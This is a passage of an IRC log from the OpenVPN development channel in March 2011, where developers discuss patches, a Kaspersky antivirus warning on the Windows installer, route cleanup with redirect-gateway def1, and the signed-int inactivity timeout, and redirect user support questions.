08:57 <@dazo> right! 08:57 <@mattock> just sent you mail 08:58 <@mattock> dazo: given you're now officially "swamped" as James, I'll have to ask one thing... :) 08:58 <@mattock> would it be easier for you attend the IRC meeting, rather than be active throughout the week? 08:59 <@mattock> meaning, to allocate a slice of time once a week for patch review etc 09:00 <@mattock> btw. raidz said nobody but James uses the term "to be swamped" :D 09:03 <@dazo> :) 09:04 <@dazo> I know ... this last weeks has just been crazy for me ... I did plan on the meeting last week, but I simply was without Internet and had no chance 09:05 <@dazo> I'm in the middle of a moving process ... but this Thursday, I'll be alone in the new flat with Internet ... it should be really a silly thing not to manage a meeting this week :) 09:05 <@mattock> ok, that'd be great! 09:06 <@mattock> no pressure, please! :) 09:06 <@dazo> I'll be living partly in Norway and partly in Czech until end of June ... but I'm planning the travels to happen in weekends, and the weeks when I'm in Norway, I should really have no problem attending meetings for sure 09:06 <@dazo> when in CZ, I need to complete stuff there 09:07 <@dazo> no worries :) 09:07 <@mattock> sounds good! 09:07 <@mattock> so, in Czech Republic you'll be working in "Netscape Style", sleeping in the office eating pizza and drinking energy drinks and sleeping 2 hours each night? :P 09:08 <@dazo> something like that :-P 09:09 <@mattock> I hear amphetamine is even more effective than caffeine :P 09:09 <@mattock> fortunately modern companies understand that overworking their employees is a bad idea in the long run, right? :) 09:10 <@dazo> nah, I'm a whimp ... I choose neither ... unless Coke counts as caffeine :-P 09:10 <@mattock> I think it does, depending on the dosage 09:10 <@dazo> my employer understands that a lot ... it's also to give my self some space/time to manage the moving as well without burning of too many holiday days 09:11 <@mattock> ok, I was getting a little worried for you (as I've been for James) 09:11 <@mattock> and now the other guys at the company, too 09:11 <@mattock> "for the other guys" 09:12 <@dazo> ouch, well, I've been down such a path once before ... not doing it once again 09:13 <@mattock> glad to hear it! 09:16 <@mattock> btw. where to in Norway are you moving if I may ask? 09:16 <@dazo> mattock: git tree is updated with your patches 09:16 <@dazo> To Oslo 09:16 <@mattock> dazo: thanks! 09:16 <@mattock> nice! 09:16 <@mattock> expensive city, I presume 09:16 <@mattock> with all the oil you got there :) 09:17 <@dazo> lol ... yeah, I even feel how much more expensive it has become the last 3 years ... 09:17 <@mattock> actually, Finnish people come work in Norway, especially in the healthcare sector 09:17 <@mattock> and Finland is not exactly a poor country 09:17 <@mattock> still, norwegian salaries are so much better that it makes sense 09:18 <@dazo> Yeah, and we're so thankful for all healthcare workers coming here! 09:18 <@dazo> it's also a lot from Germany too .... Swedes have "invaded" all hotels, pubs and restaurants mostly 09:19 <@mattock> for Swedes there's less of a language barrier 09:20 <@mattock> well, actually, Finns can cope pretty well I guess, due to the mandatory Swedish studies at school 09:20 <@mattock> swedish ~ norwegian 09:33 <@mattock> btw. I'll ask Frank to add "Development version" or similar to the "Community project" menu on openvpn.net 09:33 <@mattock> any suggestions on the title and where the link should lead? 09:34 <@mattock> "Development code", "Development version", "Source code", "Latest sources"...? 09:37 <@dazo> Source code is probably best 09:38 <@dazo> btw ... I'm considering to setup a git tree for you on sf.net where you can push stuff remote, to avoid such situation which Alon mentions ... He got a good point ... and then you can push out previews without being in sync with me, and I can pull down straight from that git tree when merging in stuff 10:03 < cron2_> btw, I got into a nice discussion last week, regarding IPv6 and OpenVPN. People do not want to compile from source, they want "working packages with ipv6"... time to get 2.3 done... :-) 10:04 < cron2_> can't we just skip 2.2 and directly go to 2.3? since 2.2 is taking so long... 10:04 * cron2_ runs 10:33 < Essobi> :P 11:00 <@mattock> cron2: people as in "Windows users"? 11:00 <@mattock> or in general? 12:25 < ecrist> if IPv6 stuff is in allmerged, freebsd users get it with the -devel port 12:52 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 12:52 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 13:21 < cron2_> ecrist: it's in allmerged, and the port works nicely (thanks) 13:34 -!- krzie [krzee@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 13:46 < ecrist> :) 14:35 -!- dazo is now known as dazo_afk 15:32 -!- dazo_afk is now known as dazo 16:18 -!- andj is now known as andj_afk 16:28 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Ping timeout: 248 seconds] 17:17 -!- jamesyonan [~jamesyona@c-98-245-80-250.hsd1.co.comcast.net] has joined #openvpn-devel 17:17 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 17:29 -!- jamesyonan [~jamesyona@c-98-245-80-250.hsd1.co.comcast.net] has quit [Read error: Connection reset by peer] 17:30 -!- jamesyonan [~jamesyona@c-98-245-80-250.hsd1.co.comcast.net] has joined #openvpn-devel 17:30 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 17:54 -!- dazo is now known as dazo_afk 18:03 -!- jamesyonan [~jamesyona@c-98-245-80-250.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 19:43 -!- EO_ [debian-tor@gateway/tor-sasl/eo/x-78165100] has quit [Remote host closed the connection] 19:43 -!- EO_ [debian-tor@gateway/tor-sasl/eo/x-78165100] has joined #openvpn-devel 20:02 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 20:02 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 22:16 -!- Dark-Fx [~bamcpher@2607:f4b8:7::1] has quit [Ping timeout: 248 seconds] 22:16 -!- waldner [~waldner@unaffiliated/waldner] has quit [Ping timeout: 248 seconds] 22:18 -!- waldner [~waldner@waldner-1-pt.tunnel.tserv5.lon1.ipv6.he.net] has joined #openvpn-devel 22:18 -!- waldner [~waldner@waldner-1-pt.tunnel.tserv5.lon1.ipv6.he.net] has quit [Changing host] 22:18 -!- waldner [~waldner@unaffiliated/waldner] has joined #openvpn-devel 22:29 -!- Dark-Fx [~bamcpher@dark-fx.com] has joined #openvpn-devel --- Day changed Tue Mar 22 2011 01:05 -!- andj_afk is now known as andj 01:35 -!- EO_ [debian-tor@gateway/tor-sasl/eo/x-78165100] has quit [Ping timeout: 246 seconds] 01:35 -!- andj is now known as andj_afk 01:37 -!- EO_ [debian-tor@gateway/tor-sasl/eo/x-78165100] has joined #openvpn-devel 03:58 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 03:59 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 03:59 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 03:59 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Client Quit] 04:00 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 276 seconds] 04:15 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 04:15 -!- mode/#openvpn-devel [+o mattock] by ChanServ 04:59 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 260 seconds] 05:12 -!- dazo_afk is now known as dazo 05:49 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 05:49 -!- mode/#openvpn-devel [+o mattock] by ChanServ 06:04 -!- s7r [~s7r@unaffiliated/s7r] has joined #openvpn-devel 06:13 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Remote host closed the connection] 06:14 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 06:14 -!- mode/#openvpn-devel [+o mattock] by ChanServ 06:16 <@mattock> where should we point the "Source code" link in the "Community Project" menu on openvpn.net? 06:16 <@mattock> directly to SF.net or here: https://community.openvpn.net/openvpn/wiki/TesterDocumentation 06:16 <@vpnHelper> Title: TesterDocumentation – OpenVPN Community (at community.openvpn.net) 06:17 <@mattock> I'd prefer the second option 06:18 <@mattock> also, is the TAP-driver version in version.m4 correct (9.1)? 06:18 <@mattock> for beta2.2 branch 06:43 <@mattock> ecrist: I think the forums clock has started drifting again 06:43 <@mattock> ~2 minutes ahead 07:14 <@mattock> cron2: care to proofread the updated IPv6 FAQ entry: http://pastebin.com/LSWnPHsD ? 07:15 <@mattock> actually, I'll clean it up a little 07:15 < ecrist> mattock: fixed, I've put a cron job in place to keep the time corrected 07:15 <@mattock> ecrist: thanks! 07:15 <@mattock> vmware goodness? 07:15 < ecrist> yeah 07:16 < ecrist> we tried changing the clock source in sysctl, and this is what we were waiting for. 07:16 < ecrist> I had the cron job queued up in case the new source didn't work. 07:17 <@mattock> cron2: http://pastebin.com/Mik1S73Z 07:27 -!- janjust [~janjust@openvpn/community/support/janjust] has joined #openvpn-devel 07:27 -!- mode/#openvpn-devel [+v janjust] by ChanServ 07:34 <@mattock> fixed a number of issues on openvpn.net documentation 07:49 <@mattock> asked Frank to add "Contributing" and "Source code" entries to openvpn.net "Community Project" menu 07:57 -!- EO_ [debian-tor@gateway/tor-sasl/eo/x-78165100] has quit [Remote host closed the connection] 07:58 -!- EO_ [debian-tor@gateway/tor-sasl/eo/x-78165100] has joined #openvpn-devel 08:08 -!- EO_ [debian-tor@gateway/tor-sasl/eo/x-78165100] has quit [Ping timeout: 246 seconds] 08:09 -!- EO_ [debian-tor@gateway/tor-sasl/eo/x-78165100] has joined #openvpn-devel 08:45 <@vpnHelper> RSS Update - tickets: #105: Lack of support for characters above the 7-bit range in Common Name, X509 Subject and username strings <https://community.openvpn.net/openvpn/ticket/105> 08:51 -!- s7r [~s7r@unaffiliated/s7r] has left #openvpn-devel [] 09:50 < ecrist> ping mattock 09:51 < ecrist> Copyright (C) 2002-2011 OpenVPN Technologies, Inc. < sales@openvpn.net> 09:51 < ecrist> in header for openvpn 2.2 change log 09:51 < ecrist> actually in all of them. 09:51 < ecrist> not sure if that's really kosher 10:00 -!- patelx [~patel@openvpn/corp/admin/patel] has quit [Ping timeout: 240 seconds] 10:00 -!- patel [~patel@adsl-71-140-186-190.dsl.pltn13.pacbell.net] has joined #openvpn-devel 10:06 -!- janjust [~janjust@openvpn/community/support/janjust] has quit [Quit: Leaving] 10:28 < cron2_> mattock: looks fine to me, except for the "when openvpn 2.0 is run in server mode" bit - that's not only 2.0, but all versions up to 2.2 12:36 -!- andj_afk is now known as andj 13:55 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 13:55 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 16:18 -!- andj is now known as andj_afk 18:25 -!- dazo is now known as dazo_afk 21:57 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 250 seconds] 23:13 -!- Essobi is now known as randomWhat 23:13 -!- randomWhat is now known as Essobi --- Day changed Wed Mar 23 2011 00:50 -!- dazo_afk is now known as dazo 01:39 -!- andj_afk is now known as andj 01:50 -!- andj is now known as andj_afk 03:34 -!- dazo is now known as dazo_afk 04:09 -!- dazo_afk is now known as dazo 04:35 -!- patel [~patel@adsl-71-140-186-190.dsl.pltn13.pacbell.net] has quit [Ping timeout: 240 seconds] 04:39 -!- patel [~patel@adsl-71-140-186-190.dsl.pltn13.pacbell.net] has joined #openvpn-devel 05:07 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 06:22 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 06:22 -!- mode/#openvpn-devel [+o mattock] by ChanServ 06:53 <@mattock> topics for tomorrow's meeting: https://community.openvpn.net/openvpn/wiki/Topics-2011-03-24 06:53 <@vpnHelper> Title: Topics-2011-03-24 – OpenVPN Community (at community.openvpn.net) 06:53 <@mattock> dazo: can you make it tomorrow at 18:00 UTC? 06:54 <@mattock> the thing is, I won't make it until 18:45 - 19:15 06:54 <@mattock> got something else I can't skip 07:00 <@dazo> mattock: I can manage it ... but my head is not much tuned on openvpn nowadays, so not sure what the agenda would be 07:01 <@mattock> check ^^^ :D 07:04 -!- reiffert [~thomas@mail.reifferscheid.org] has joined #openvpn-devel 07:04 < reiffert> kaspersky and 2.1.4 windows installation is warning for a rootshell 07:04 < reiffert> downloaded from openvpn.net 07:04 < reiffert> please crsosscheck. 07:08 <@dazo> heh . 07:09 < reiffert> far from "heh". 07:11 <@dazo> It was more aimed at mattocks comment to me ... but rootshell in openvpn ... wow! :) 07:12 <@dazo> do you have anything more concrete from kaspersky's av? 07:12 <@dazo> and does this happen only on 2.1.4? What about earlier or the 2.2-RC? 07:15 <@mattock> interesting stuff... btw. dazo: the Makefile.am patch allows building OpenVPN 2.2-RC2 on *NIX, so I think we should include it :P 07:16 <@dazo> mattock: I agree with Alon's comment as well 07:16 <@mattock> yep, fixed already and sent to -devel 07:16 <@dazo> cool! 07:34 <@mattock> dazo: I closed a few old bug reports on SF.net yesterday... this "management-notes.txt" missing was one of them 07:35 <@dazo> ahh, nice! ... Yeah, I saw quite some mails from the sf-tracker yesterday 07:35 <@mattock> I marked some difficult ones with priority 9 07:35 <@mattock> things that may be issues still 07:36 <@mattock> I'll review the rest now 07:37 < reiffert> dazo: I was just recently installing openvpn-2.1.4 on a customers computer running kaspersky when that message appeared. 07:38 < reiffert> dazo: let me try the kaspersky online checker. 07:38 <@dazo> reiffert: thx! 07:38 < reiffert> it said something about the temp directory, not sure if testing the openvpn.net installer exe will succeed. 07:39 < reiffert> kaspersky online scanner is limited to 1MB. 07:39 < ecrist> looking at a quick google check, it would appear as though kaspersky and openvpn have a long history of not getting along 07:39 < reiffert> anyone around running kasperky? 07:41 <@dazo> or anyone willing to try the 30 days trial version= 07:41 <@dazo> ? 07:43 < reiffert> dont have any windows around atm. 07:45 * dazo neither 07:47 <@mattock> I do 07:48 <@mattock> I can try 2.2-RC + Kaspersky 07:49 < reiffert> why not 2.1.4-installer? 07:50 <@dazo> would be interesting to understand why Kaspersky believe OpenVPN is a rootshell ... but I fear that we'll need to discuss this with Kaspersky directly 07:52 < reiffert> 1st lets reproduce the thing. 07:54 <@mattock> dazo: do the note suggested in this bug report is valid, or is it obvious: http://pastebin.com/HVJPK13w 07:54 <@mattock> sed s/"do the"/"do you think that"/1 07:54 <@mattock> adding mention about directory permissions to openvpn man page, that is 07:55 <@dazo> mattock: that sounds reasonable, as the ccd config files are opened on-the-fly, iirc, thus being opened by the effective uid/gid 07:55 <@mattock> ok, I'll create a patch then 07:56 <@dazo> Let's ask JJK for confirmation on it, he most likely knows this by experience 08:03 <@mattock> ok 08:05 <@mattock> here's a preview: http://pastebin.com/hc4iCEEK 08:07 <@mattock> dazo: can you bump the TAP-driver version in version.m4 to 9.7 before tagging 2.2-RC2 08:07 <@dazo> mattock: sure can do 08:08 <@mattock> excellent! 08:10 <@mattock> reiffert: which Kaspersky version is it? 08:10 <@mattock> www.kaspersky.com/trials 08:51 -!- genesis7 [~rommel@amertospromotions.com] has joined #openvpn-devel 08:52 < genesis7> good day. I would like to ask guys if now much memory is needed if I put up a openvpn server that will accept 400 clients on 3tb bandwidth 08:53 < genesis7> I was advised by centos channel to ask here 08:55 -!- genesis7a [~rommel@amertospromotions.com] has joined #openvpn-devel 08:55 -!- genesis7 [~rommel@amertospromotions.com] has quit [Read error: Connection reset by peer] 08:55 < genesis7a> I was advised by centos channel to ask here 09:01 -!- genesis7a [~rommel@amertospromotions.com] has quit [] 11:58 -!- andj_afk is now known as andj 12:14 <@d12fk> howdy 12:15 <@d12fk> anyone willing to tell me if this is a bug in ovpn: 12:17 <@d12fk> with "redirect-gateway def1" the two /1 routes don't get removed when keepalive times out. 12:18 < ecrist> openvpn doesn't have bugs 12:18 < ecrist> computers just execute the code wrong. ;) 12:18 <@d12fk> if i "remap-usr1 SIGHUP" they get deleted, but i think that more of a workaround 12:19 <@d12fk> ecrist: that's why I "ask" and do not "report" 12:20 < ecrist> heh 12:20 < ecrist> sounds like a bug to me, though. 12:20 <@d12fk> afaik that works well if you spare the "def1" part 12:22 <+krzee> its not a bug, a timeout retries connecting, doesnt kill the tun interface or routes 12:22 <+krzee> and you found the way to make it work how you sound like you want 12:23 <@d12fk> but if the default route is still there how would you connect to the vpn gateway? 12:23 <@d12fk> the host route to the gateway was removed by the system when the interface went down, btw 12:25 <+krzee> the interface DID go down? 12:25 <+krzee> and the host route WAS removed, but the default routes were not? 12:25 <@d12fk> ya, without "def1" that kills the defautl route as well, but not in the def1 case 12:25 <+krzee> interesting... does it show removing the host route in the log? 12:26 <@d12fk> hm, well on second thought the /0 default route would point to the tap32 interface as well... 12:26 <+krzee> or does it happen just because the interface went down (i expect openvpn must have removed the host route (and be visible in the logs)) 12:26 <@d12fk> interface == dsl interface 12:28 <@d12fk> another workaround could be to remove "persist-tun". would the interface disappaer during sigusr1 then, removing the routes automatically? 12:33 -!- waldner [~waldner@unaffiliated/waldner] has quit [Read error: Operation timed out] 12:38 <+krzee> check signals in manual 12:39 <@d12fk> i did but am not certain 12:39 <+krzee> nor am i 12:39 <@d12fk> i'll just test a bit more tomorrow 12:40 <@d12fk> will be back with results then 12:40 <+krzee> but this: 12:40 <+krzee> [10:25] <krzee> and the host route WAS removed, but the default routes were not? 12:40 -!- waldner [~waldner@waldner-1-pt.tunnel.tserv5.lon1.ipv6.he.net] has joined #openvpn-devel 12:40 -!- waldner [~waldner@waldner-1-pt.tunnel.tserv5.lon1.ipv6.he.net] has quit [Changing host] 12:40 -!- waldner [~waldner@unaffiliated/waldner] has joined #openvpn-devel 12:41 <+krzee> if true, sounds worthy of a trac ticket 12:41 <+krzee> found workarounds would be cool in the ticket too 13:11 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 13:11 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 13:16 -!- jamesyonan_ [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 13:16 -!- mode/#openvpn-devel [+o jamesyonan_] by ChanServ 13:16 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Read error: Connection reset by peer] 13:16 -!- jamesyonan_ is now known as jamesyonan 13:32 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Read error: Connection reset by peer] 13:45 -!- genesis7 [~rommel@amertospromotions.com] has joined #openvpn-devel 13:46 < genesis7> how to run openvpn server as service in windows? 13:50 <+krzee> this is the dev channel, not the help channel 13:55 -!- genesis7 [~rommel@amertospromotions.com] has quit [] 13:57 <@dazo> thx, krzee! 13:59 <+krzee> =] 16:34 -!- andj is now known as andj_afk 16:50 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 252 seconds] 17:20 -!- dazo is now known as dazo_afk 18:06 -!- krzie [krzee@hemp.ircpimps.org] has joined #openvpn-devel 18:06 -!- krzie [krzee@hemp.ircpimps.org] has quit [Changing host] 18:06 -!- krzie [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 18:06 -!- mode/#openvpn-devel [+v krzie] by ChanServ 20:48 -!- EO_ [debian-tor@gateway/tor-sasl/eo/x-78165100] has quit [Remote host closed the connection] 20:49 -!- EO_ [debian-tor@gateway/tor-sasl/eo/x-78165100] has joined #openvpn-devel 22:17 -!- jfang [~jfang@114.81.131.166] has joined #openvpn-devel 22:24 -!- jfang [~jfang@114.81.131.166] has left #openvpn-devel [] 22:38 -!- jfang [~jfang@114.81.131.166] has joined #openvpn-devel --- Day changed Thu Mar 24 2011 01:14 -!- dazo_afk is now known as dazo 01:43 -!- andj_afk is now known as andj 01:57 -!- jfang [~jfang@114.81.131.166] has quit [Ping timeout: 252 seconds] 01:58 -!- andj is now known as andj_afk 02:15 -!- s7r [~s7r@unaffiliated/s7r] has joined #openvpn-devel 02:16 -!- krzie [krzee@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 02:32 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 02:32 -!- mode/#openvpn-devel [+o mattock] by ChanServ 03:19 -!- s7r [~s7r@unaffiliated/s7r] has quit [Remote host closed the connection] 04:39 <@vpnHelper> RSS Update - tickets: #106: option --register-dns does not work in conjunction with --win-sys <https://community.openvpn.net/openvpn/ticket/106> 06:19 -!- genesis7 [~rommel@amertospromotions.com] has joined #openvpn-devel 06:20 -!- genesis7 [~rommel@amertospromotions.com] has quit [Client Quit] 07:06 <@mattock> reiffert: I tried downloading trial versions of Kaspersky but the links in emails fail. Might be a timezone issue or something 07:06 <@mattock> (seen that with Joomla) 07:19 < ecrist> mattock: I'm going to setup a test forum using vbulletin. I'm goign to temp it up with a license I have for another group I help manage, but if we like it, I'll use the funds I have from openvpn donations to purchase our own license. 07:38 -!- genesis7 [~rommel@amertospromotions.com] has joined #openvpn-devel 07:38 < genesis7> can I ask question please. what is the n max value in the inactive n [bytes]? 07:48 <@dazo> genesis7: such questions belongs to #openvpn ... #openvpn-devel is for discussion related to development and source code 07:52 < ecrist> 07:52:28 -ChanServ(ChanServ@services.)- The entry message for #openvpn-devel has been set to Welcome to #openvpn-devel. This channel is for the discussion of developement and source of OpenVPN. Questions related to configuration and operation of a server or client should be asked in #openvpn. 07:53 < ecrist> that should help, I'd think. 07:57 < genesis7> I was advised from openvpn to ask help here 08:03 < reiffert> dazo: the question of genesis7 really sounds like a source code question to me. Doesnt it? 08:04 < reiffert> dazo: if not specified [otherwise] in the manpage. 08:04 <@dazo> no, this is even defined in the man page 08:06 < reiffert> dazo: well it really doesnt tell anything about its maximum value, e.g. 64bit unsigned int. 08:07 < reiffert> at least the manpage that I do have, which may be old and outdated. 08:08 <@dazo> oh, max value ... that's most likely an int, which is platform dependent ... even though usually being 32bit 08:09 < reiffert> which is approximatly 136 days 08:09 < reiffert> well, that really sounds like a limit here. 08:09 < reiffert> sorry 136 years. 08:11 <@dazo> is that 2^31 or 2^32? ... anyway ... I doubt that limit will be a real limitation for OpenVPN :) 08:13 <@dazo> 2^31 is ~68 years 08:16 < reiffert> dazo: depends on signedness 08:22 <@dazo> inactivity timeout and counter are signed int's, hence 31 bits 08:22 <@dazo> (on most platforms, that is) 08:23 < reiffert> why signed? 08:23 < reiffert> time travel? 08:24 <@dazo> I dunno ... I just checked the code, it's using 'int' ... why, I have no idea 08:24 * dazo didn't write that code ;-) 08:25 < reiffert> improve it? 08:27 <@dazo> doesn't solve anything, tbh ... it uses positive_atoi() which is a wrapper around atoi() which only accepts positive numbers 08:28 <@dazo> I doubt users will notice any difference between 68 or 136 years timeout difference 08:28 < ecrist> I might 08:28 <@dazo> ;-) 08:32 < reiffert> dazo: that argumentation is not a good one. 08:33 < reiffert> "only accepts positive numbers". Not a good one for refusing to improve things. 08:33 -!- mattock_ [~mattock@dyn55-11.yok.fi] has joined #openvpn-devel 08:33 <@dazo> but it doesn't improve anything by adding 'unsigned' in front of the 'int' declaration in reality 08:34 -!- EO_ [debian-tor@gateway/tor-sasl/eo/x-78165100] has quit [Ping timeout: 246 seconds] 08:34 <@dazo> that's almost on the same level of running spell check on all comments in the code, and call that improvements 08:34 < reiffert> positive_atoi() expects unsigned ints? 08:35 <@dazo> it takes a string 08:35 < reiffert> do'h, of course it does. 08:35 <@dazo> and converts that into a positive int 08:35 < reiffert> what happens if you feed "-1" to it? 08:35 <@dazo> it'll return 0 08:35 <@dazo> static int 08:35 <@dazo> positive_atoi (const char *str) 08:35 <@dazo> { 08:35 <@dazo> const int i = atoi (str); 08:35 <@dazo> return i < 0 ? 0 : i; 08:35 <@dazo> } 08:35 <@dazo> (from options.c) 08:35 -!- dazo was kicked from #openvpn-devel by vpnHelper [Flooding detected. Please use http://openvpn.pastebin.ca for posting logs or configs.] 08:35 -!- dazo [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 08:35 -!- mode/#openvpn-devel [+o dazo] by ChanServ 08:36 <@dazo> grrr 08:36 < genesis7> @dazo, I have my second question in openvpn channel. would you care to please assist me there. thanks 08:43 < mattock_> dazo: setup xchat for my n900, so I may be able to take part in today's meeting starting 18 utc 08:43 -!- EO_ [debian-tor@gateway/tor-sasl/eo/x-78165100] has joined #openvpn-devel 08:43 <@dazo> wow :) 08:44 < mattock_> trying it right now, seems to work ok 08:44 <@dazo> it works when in a pinch, but far from ideal :) 08:44 < mattock_> stupid default colors, now all black and white and looks much cleaner :) 08:45 <@dazo> :) 08:45 < mattock_> yeah, not optimal, but good enough 08:45 <@dazo> there's also an irssi client as well, might be more ideal ... even though, I've not really tried it on N900 08:48 <@mattock> xchat seems ok, it's got all the features one could need 08:49 <@mattock> and even supports touchscreen to some extent (=clicking part) 08:50 <@dazo> agreed 08:50 <@mattock> damn kaspersky... download links still not working 08:51 <@mattock> if they start working in a few hours it's a timezone problem for sure 08:51 <@mattock> I'll add that to the agenda, maybe james has some insights 08:51 -!- genesis7 [~rommel@amertospromotions.com] has quit [] 08:53 <@mattock> btw. when changes on openvpn.net staging server go online, we'll have "Source code" and "Contributing" links in the "Community project" menu 08:56 < ecrist> irssi connect bot 08:56 < ecrist> :) 09:21 <@d12fk> krzee: about the problem from yesterday 09:22 <@d12fk> ovpn in "redirect-gateway" mode doesn't remove the dflt route either, but when the phys itf comes up again it sets its dflt route with a lower metric, that's why it works without def1 09:23 <@d12fk> now I'm stuck with the descision to either remove "persist-tun" or add "remap-usr1 SIGHUP" 09:24 <@d12fk> any hints on which has lower impact to the general public? anyone? 09:25 <@d12fk> i'm leaning towards removing persist-tun 09:31 <@d12fk> someone donated Polish l8n to the GUI recently btw. 09:32 <@d12fk> and Mathias Sundman resurfaced a bit, gaining me access to openvpn.se 09:34 <@dazo> On Windows, isn't the tun devices persistent anyway? 09:35 <@dazo> On Linux, the tun/tap device is created on the fly .... and might torn down and recreated on re-connect, if I'm not mistaken ... while on Windows you need to do the "Add TAP device" procedure anyway 09:35 <@d12fk> hm, i think ovpn opens the adapter even with persist-tun, let me check 09:36 <@dazo> it opens it, but doesn't create it ... that's my impression ... but I might be wrong 09:36 <@dazo> but true, --persist-tun will not re-open the device, it will keep the file descriptor to it (in the *nix world) 09:38 <@d12fk> Thu Mar 24 15:36:56 2011 TAP-WIN32 device [Local Area Connection 3] opened: \\.\Global\{DB33724D-4F5D-489D-AEC7-72F4CA424CFB}.tap 09:39 <@d12fk> Thu Mar 24 15:38:34 2011 TAP-WIN32 device [Local Area Connection 3] opened: \\.\Global\{DB33724D-4F5D-489D-AEC7-72F4CA424CFB}.tap 09:39 <@d12fk> so, true 09:39 <@d12fk> hm, I wonder if this is o noop on windows then 09:39 <@dazo> it might be 09:40 <@dazo> james usually pops in here in a few hours, so if you check back, you can hear from him directly 09:40 <@d12fk> but back to the original problem, wouldn't it be correct to remove the two /1 routes for the sake of reconnectivity when a timeout triggers? 09:41 <@d12fk> the /1s are alway more specific the the dflt route and break routing for the system 09:42 <@d12fk> same goes for the /0 ovpn route, btw. 09:42 <@dazo> yes, I would say so 09:42 -!- genesis7 [~rommel@amertospromotions.com] has joined #openvpn-devel 09:43 <@dazo> this might bite Windows, just because the routes might not be removed on re-establishing tunnels 09:43 <@d12fk> this issue surfaced on windows 09:44 < genesis7> @dazo I have a simple question in openvpn can I ask for your assistance again please. thanks 09:44 <@dazo> genesis7: please try #openvpn, there are plenty of people who can help there ... just be patient 09:45 < genesis7> yes I am waiting also for them to help me. 09:45 <@d12fk> we recently switched to def1 redirect-gateway to circumvent some environments where setting the "real" dflt route was forbidden 09:46 <@d12fk> windows is such a pain 09:52 * ecrist suggests just asking your question 10:01 < ecrist> ping mattock 10:01 <@mattock> ecrist: pong 10:02 <@mattock> d12fk: I second that :) 10:03 <@mattock> I'm surprised anybody bothers developing for Windows... it's a mess 10:03 <@mattock> ...if one has the choice of _not_ developing for it 10:03 <@d12fk> mattock: i do it on a professional basis =) 10:03 <@mattock> hence "if" ^^^ :D 10:03 <@d12fk> ... aka pain compensation 10:04 <@mattock> following the true Lutheran model work (and life in general) should be suffering and pain :P 10:04 <@d12fk> i'm a catholic =P 10:04 <@mattock> good for you :) 10:04 <@d12fk> *lol* 10:05 <@mattock> d12fk: will you be able to attend the meeting today? in ~3 hours 10:05 <@d12fk> probably not 20°C outside 10:05 <@mattock> hmm, I wonder if that's too warm or too cold :) 10:06 <@mattock> in Finland, that'd be warm, in Italy really cold 10:06 <@d12fk> in germany it marks springtime 10:07 <@mattock> we got 0°C here 10:09 <@d12fk> i'm happy that times are over for a while 10:09 < genesis7> guys can you help me out in openvpn channel. need some input and advice. 10:10 < genesis7> help 10:12 -!- genesis7 was kicked from #openvpn-devel by dazo [genesis7] 10:14 <@d12fk> very nice, got http proxy auth via mgmt itf running 10:14 <@dazo> cool! 10:23 -!- mattock_ [~mattock@dyn55-11.yok.fi] has quit [Ping timeout: 240 seconds] 10:24 < ecrist> mattock: pm? 10:48 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 10:53 <+krzee> <3 jjk, i was about to respond to a forum post and by the time i could login he had answered just like i was going to 10:55 <+krzee> mattock, it stays roughly 31C around here :-D 10:58 <+krzee> 29C right now 11:05 -!- mattock_ [~mattock@spark-tku.mgt.turku.fi] has joined #openvpn-devel 11:12 -!- andj_afk is now known as andj 11:39 -!- erika_ [~erika@stgt-5f709539.pool.mediaWays.net] has joined #openvpn-devel 11:40 < ecrist> it's about -1C here 11:45 <+krzee> ya, screw that! 11:50 <@dazo> +12C ... and I'm in Norway now :-P 11:52 <+krzee> after checking what that is in fahrenheit , screw that too 11:53 <+krzee> (i still dont think in celcius) 11:53 <@dazo> heh :) ... well, consider it is quite north, and just end of March ... this is pretty warm for the season :) 11:54 <+krzee> ill take the caribbean ;) 11:56 <@dazo> whimp! 11:56 <@dazo> :-P 11:56 <+krzee> im totally a weather wimp! 11:57 <+krzee> california boy ;] 11:57 <+krzee> turned island boy 11:58 < erika_> how can I implement something like "port mirroring" for client-to-client mode? 11:58 < erika_> Such that a copy of each packet forwarded internally also goes to the tap interface of the server 11:58 < erika_> like using port mirroring on a 